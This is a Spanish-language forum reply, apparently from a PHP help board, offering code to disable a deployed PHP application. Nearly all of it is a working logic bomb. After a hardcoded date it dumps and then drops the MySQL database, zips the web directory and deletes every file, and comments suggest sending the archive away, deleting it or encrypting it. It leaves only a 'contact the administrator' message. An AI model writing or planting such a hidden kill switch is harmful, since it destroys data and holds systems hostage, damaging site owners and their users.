Ver Mensaje Individual
  #3 (permalink)  
Antiguo 29/06/2015, 22:15
Avatar de NSD
NSD
Colaborador
 
Fecha de Ingreso: mayo-2012
Ubicación: Somewhere
Mensajes: 1.332
Antigüedad: 12 años, 10 meses
Puntos: 320
Respuesta: Código para bloquear las funciones de una aplicación en php

Lo único que se me ocurre es tener un mecanismo como este:
Código PHP:
Ver original
  1. <?php
  2.     class Expirer {
  3.         // Carpeta a la cual quieres proteger.
  4.         private static $folder = "E:\www/sandbox/public_html";
  5.         // Base de datos a la cual quieres proteger.
  6.         private static $host = "localhost";
  7.         private static $user = "root";
  8.         private static $pass = "";
  9.         private static $db = "nombre";
  10.        
  11.         public static function expire($msj) {
  12.             Expirer::backup_db(Expirer::$folder, Expirer::$host, Expirer::$user, Expirer::$pass, Expirer::$db);
  13.             $zip_path = Expirer::zipper(Expirer::$folder);
  14.             Expirer::cleaner(Expirer::$folder);
  15.            
  16.             // Ahora en $zip_path tenes un archivo comprimido con todo el sistema.
  17.             // Te lo podes enviar a un servidor y luego borrarlo, encriptarlo o hacer con el lo que quieras.
  18.            
  19.             exit($msj);
  20.         }
  21.        
  22.         private static function backup_db($folder, $host, $user, $pass, $db) {
  23.             $mysqli = new Mysqli($host, $user, $pass, $db);
  24.             $result = $mysqli->query("SHOW TABLES");
  25.            
  26.             $handle = fopen("$folder/db-backup-".date("Y-m-d-H-i-s").".sql", "w");
  27.             fwrite($handle, "CREATE DATABASE $db;\n\n\n");
  28.            
  29.             while($table = $result->fetch_row()[0]) {
  30.                 fwrite($handle, "\n\n".$mysqli->query("SHOW CREATE TABLE $table;")->fetch_row()[1].";\n\n");
  31.  
  32.                 $rows = $mysqli->query("SELECT * FROM $table;");
  33.                
  34.                 while($row = $rows->fetch_row()) {
  35.                     fwrite($handle, "INSERT INTO $table  VALUES(".implode(",", array_map(function($field){
  36.                         return "'".str_replace("\n", "\\n", addslashes($field))."'";                        
  37.                     },$row)).");\n");
  38.                 }
  39.                 fwrite($handle, "\n\n\n");
  40.             }
  41.             fclose($handle);
  42.            
  43.             $mysqli->query("DROP DATABASE $db;");            
  44.             $mysqli->close();
  45.         }
  46.        
  47.         private static function zipper($folder) {
  48.             $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folder), RecursiveIteratorIterator::LEAVES_ONLY);
  49.            
  50.             $path = substr($folder, 0, strrpos($folder, "/") + 1)."folder.zip";
  51.             $zip = new ZipArchive();
  52.             $zip->open($path, ZipArchive::CREATE | ZipArchive::OVERWRITE);
  53.             foreach ($files as $name => $file) {
  54.                 if (!$file->isDir()) {
  55.                     $filePath = $file->getRealPath();
  56.                     $zip->addFile($filePath, substr($filePath, strlen($folder) + 1));
  57.                 }
  58.             }
  59.             $zip->close();
  60.            
  61.             return $path;
  62.         }
  63.        
  64.         private static function cleaner($folder) {
  65.             $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folder), RecursiveIteratorIterator::LEAVES_ONLY);
  66.            
  67.             foreach($files as $file)
  68.                 unlink($file);
  69.         }
  70.     }
  71.    
  72.     // Condicion para activar el mecanismo.
  73.     if(date("Y-m-d") > "2015-06-01")
  74.         Expirer::expire("Comuniquese con el administrador.");

lo que no quita que en el transcurso del tiempo, alguien edite el archivo y le quite la protección.
__________________
Maratón de desafíos PHP Junio - Agosto 2015 en FDW | Reglamento - Desafios